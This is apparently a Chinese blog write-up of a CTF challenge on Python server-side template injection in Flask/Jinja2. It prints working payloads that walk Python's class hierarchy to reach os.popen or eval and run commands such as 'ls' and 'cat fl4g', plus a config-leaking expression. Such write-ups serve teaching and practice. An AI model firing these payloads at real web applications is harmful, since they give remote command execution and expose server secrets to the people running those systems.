2021.1.19
今天把两个拖了很久的python模板注入做完了,感觉神清气爽!
WP
进来后看到了题目的提示,python template injection,看样子是个模板注入,先测试一下。
1+1被计算成了2,并回显到页面上,说明存在模板注入,去百度一下template的注入姿势。
//调用os模块的popen执行ls打印所有文件
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("命令").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}
显示文件名称后,出来一个fl4g,一个index.py。
查看fl4g,只需要将命令里的ls改为cat fl4g即可。
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}
于是获得flag。
通过模板注入查看服务器基础信息
{{config.items()}}
在本题目环境下查看
本题目没有用到,还是要mark一下。
大佬的payload
说实话鄙人没太看懂
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }}
//导入cmd 执行popen里的命令 read读出数据
//{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
//读取时只需要将ls换成cat fl4g即可
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
大佬原文链接:https://blog.csdn.net/nicesa/article/details/106348529
python Web 模板引擎
1.Jinja2
2.Tornado.template
3.Django.template
Tornado 中模板渲染函数在有两个:
1.render
2.render_string
(这个在上午做题遇到了,相关题目WP链接:https://blog.csdn.net/weixin_45253216/article/details/112801095)
Flask 中模板渲染函数也是有两个
1.render_template
2.render_template_string
render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把{{}}包裹的内容当做变量解析替换。
简而言之就是我们{{}}中的内容被当做了变量解析,那么我们可以利用这一点,调用python的类,实现我们想要达到的目的。
python沙箱逃逸
https://blog.csdn.net/zss192/article/details/104200493
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
先挂两个链接,本题目的payload就是根据这两个构造出来的,日后再一起总结【狗头】